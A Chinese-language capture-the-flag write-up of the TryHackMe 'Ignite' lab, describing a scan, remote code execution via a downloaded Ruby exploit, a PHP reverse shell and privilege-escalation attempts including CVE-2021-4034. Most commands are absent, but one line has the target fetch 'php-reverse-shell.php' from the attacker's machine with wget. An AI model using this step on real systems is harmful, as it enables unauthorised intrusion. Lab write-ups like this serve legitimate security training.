THM - Ignite 靶機滲透
A new start-up has a few issues with their web server.
靶場地址
題目背景
Root the box! Designed and created by DarkStar7471, built by Paradox.
Enjoy the room! For future rooms and write-ups, follow @darkstar7471 on Twitter.
靶機類型
免費靶機
過關條件
- User flag
- Root flag
滲透過程
基本資訊
攻擊機IP:10.11.74.107
目標機IP:10.10.18.167
使用Nmap掃描Port
連線至Web服務
透過exploits進行遠端代碼操作
將Exploits下載至本地端,用ruby運行
如果執行時出現下面錯誤
請執行下面指令安裝ruby的docopt套件上傳reverse-shell.php 並運行
由於Exploits不太好操作,我決定上傳reverse-shell.php。
備註
反彈shell的程式碼可以從下面兩個Github取得,記得修改程式碼裡面的IP和PORT
或者自己寫也行,下面是幾個常見的
在你的 reverse shell 檔案路徑裡,用python建立簡易的HttpServer
然後在用剛剛的ruby檔案跑下面命令
執行下面命令把reverse-shell.php上傳
在本機運行下面指令進行監聽
ruby 49487.rb http://10.10.18.167 wget%09http://10.11.74.107:8000/php-reverse-shell.php
接著開新一個shell,執行下面指令
找到User.txt
CD 到 /home/www-data,便可以看到User.txt,用cat開啟檔案即可。
找到Root.txt
又是來到提權的環節,首先先把反彈shell轉成tty
使用sudo -l 看看我有沒有sudo的權限
嘗試使用下面的指令,也沒有找到可以用的特權二進制文件
嘗試找看看有沒有CVE-2021-4034漏洞
依照之前寫的滲透紀錄-Agent Sudo進行exploit








